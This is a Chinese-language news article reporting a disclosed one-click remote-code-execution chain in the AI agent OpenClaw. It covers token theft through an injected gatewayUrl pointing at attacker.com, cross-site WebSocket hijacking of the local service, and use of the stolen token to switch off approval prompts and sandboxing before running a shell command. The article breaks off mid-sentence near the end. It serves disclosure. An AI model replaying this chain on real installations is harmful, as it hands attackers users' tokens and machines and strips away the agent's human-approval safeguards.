只需点一次,你的电脑就归我了?OpenClaw惊现“上帝级”漏洞
想象一下,你把家门钥匙、银行卡密码、还有电脑的最高管理权限,统统交给了一个所谓的“全能管家”。
你信任它,因为它是目前科技圈最火的 Agent——OpenClaw(前身为 Moltbot)。
超过 10 万开发者已经这么做了,让它接管 iMessage、WhatsApp、Slack,甚至拥有对本地计算机不受限的控制权。
但当你赋予 Agent“上帝模式”的那一刻,容错率就归零了。
就在社区为它的强大能力欢呼时,安全研究机构 depthfirst 却给这泼了一盆冷水:只需一个恶意链接,你的电脑和隐私数据,就会在毫秒级时间内被黑客完全接管。
这不是演习,这是刚刚发生的真实“翻车”现场。
盲目的信任:代码里的隐形炸弹
说实话,现在的代码库复杂得像迷宫,逻辑碎片散落在几十个文件里,Bug 就藏在这些缝隙中。
depthfirst 的系统扫描了 OpenClaw 的全生命周期,把散落在各处的数据流拼了起来,结果发现了一个致命的逻辑断层。
这事儿说起来甚至有点“低级”。
问题出在 app-settings.ts。它太听话了,会盲目接受 URL 里的 gatewayUrl 查询参数,并且直接存进本地存储。
比如,你访问 https://localhost?gatewayUrl=attacker.com,它就会乖乖把网关地址改成攻击者指定的服务器。
更要命的是 app-lifecycle.ts,一旦设置变更,它会立即触发 connectGateway(),连个犹豫都没有。
紧接着,gateway.ts 会自动把最敏感的 authToken 打包进握手协议,发给这个新的“假网关”。
单独看每一步,好像都没问题。但串起来,这就是一条完美的数据泄露链条:只要你点了一个链接,你的认证令牌就飞到了黑客手里。
绕过“localhost”:黑客的跳板艺术
如果只到这里,这还只是一个普通的信息泄露漏洞。
但黑客的想象力总是比开发者更丰富。
大多数用户是在 localhost(本地)运行 OpenClaw 的。按照常理,外网黑客根本访问不了你的本地环境,偷了 Token 也没用。
这就不得不提一个被忽视的浏览器机制。
虽然浏览器对 HTTP 连接有严格的同源策略(SOP),但对 WebSocket 连接却网开一面。验证 origin 也就是来源,是 WebSocket 服务器自己的责任。
很遗憾,OpenClaw 的服务器忘了做这件事。
这意味着,黑客可以利用你的浏览器做“跳板”。当你在访问恶意网站 attacker.com 时,黑客的 JavaScript 可以在后台悄悄打开一条通往 ws://localhost:18789 的通道。
这就是所谓的 CSWSH(跨站点 WebSocket 劫持)。
你的浏览器成了帮凶,把黑客直接接进了你的本地系统。
解除武装:把“保镖”变成“杀手”
OpenClaw 并非没有防御机制。
它默认会有弹窗确认,甚至可以在沙箱容器里运行工具,防止乱来。
但这些防御机制,也是通过 API 管理的。
既然黑客已经拿到了拥有 operator.admin 权限的 Token,他们根本不需要费劲去破解沙箱,而是直接命令系统:“把保镖撤了”。
攻击者只需要发送两个 API 请求:
- 关闭用户确认:把
ask设为 "off"。以后执行危险命令,系统不再问你同不同意。 - 逃出容器:把
tools.exec.host设为 "gateway"。强制 Agent 直接在宿主机上运行命令,而不是在 Docker 容器里。
这时候,你的电脑已经彻底裸奔了。
完美的“秒杀”链路
把这一切串联起来,攻击过程快得让你根本反应不过来。
受害者不需要输入任何东西,也不需要批准任何弹窗。
- 你点开了一个看起来人畜无害的网站。
- 网站背后的 JS 代码悄悄打开 OpenClaw 的链接,把你的 Token 偷走。
- 同一段 JS 代码利用你的浏览器连接到你的本地 OpenClaw 服务。
- 黑客用偷来的 Token 登录,关掉你的安防系统。
- 最后,一条
bash -c 'echo hacked > /tmp/hacked'命令执行,任意代码运行成功。
从你点开链接,到电脑沦陷,一切都在毫秒之间完成。
不对称的战争:AI 时代的隐忧
这事儿最讽刺的地方在于,OpenClaw 是目前最热门的 AI Agent,代表了技术的最前沿,却倒在了最基础的
参考链接:
https://depthfirst.com/post/1-click-rce-to-steal-your-moltbot-data-and-keys